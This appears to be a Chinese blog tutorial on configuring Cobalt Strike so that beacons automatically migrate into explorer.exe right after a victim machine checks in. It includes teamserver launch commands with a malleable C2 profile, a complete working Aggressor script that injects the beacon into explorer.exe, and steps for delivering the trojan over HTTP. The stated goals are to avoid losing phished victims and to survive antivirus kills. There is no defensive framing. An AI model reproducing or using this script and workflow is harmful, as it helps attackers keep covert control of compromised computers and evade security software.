Cobalt strike上線后自動遷移進程

題記

    很久之前我看到公眾號講進程遷移的文章，cs上線機器如果你不知道上線時間的話很有可能機器剛上線就跑了（例如xss的flash釣魚大法），在比如遇到殺軟被殺的話，如果進程遷移的快很可能我們就成功了。所以這里研究一下cs上線機器自動進行進程遷移migrate。

1 加載自定義 malleable C2配置文件

    下載地址：https://github.com/threatexpress/malleable-c2

    我的cs是4.2，所以我這里用的是4.2的配置文件。

2 下載后放到cs服務器的位置

    這里注意我運行的時候爆出時間那塊錯誤，我就把那塊注釋了，注釋后成功運行。

　　執行./teamserver 192.168.1.119 love jquery-c2.4.2.profile或者

　　nohup ./teamserver 192.168.1.119 love jquery-c2.4.2.profile > /dev/null 2>&1 &

    還有別忘了設置遷移時間。

    修改后啟動cs，成功啟動。

3 cs客戶端配置cna插件

    把下面代碼復制到cna文件中，然后放到cs客戶端中即可。

on beacon_initial

{

sub callback

{

$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';

$listener = "test";

if ($2 ismatch $regex)

{

$pid = matched()[1];

$inject_pid = $pid;

if (-is64 $1)

{

$arch = "x64";

}

else

{

$arch = "x86";

}

binject($1, $pid, $listener, $arch);

}

}

if($inject_pid != beacon_info($1,"pid"))

{

bps($1, &callback);

}

}

4 生成木馬上傳到目標服務器

    這里我采用http傳輸下載執行。

    注意這里監聽器的名對應cna腳本中的test，不用test遷移不了。

    設置完之后可見賊快，沒多久就遷移並上線了。

參考文章

    關於微信內置瀏覽器 達到持久控制：https://ailiqun.xyz/2021/04/18/%E8%B0%B7%E6%AD%8C%E6%B5%8F%E8%A7%88%E5%99%A8-v8-%E5%9C%A8%E5%BE%AE%E4%BF%A1%E4%B8%8A%E7%9A%84%E5%BA%94%E7%94%A8/

    C2lints實例演示：http://bilibili.com/read/cv7694558/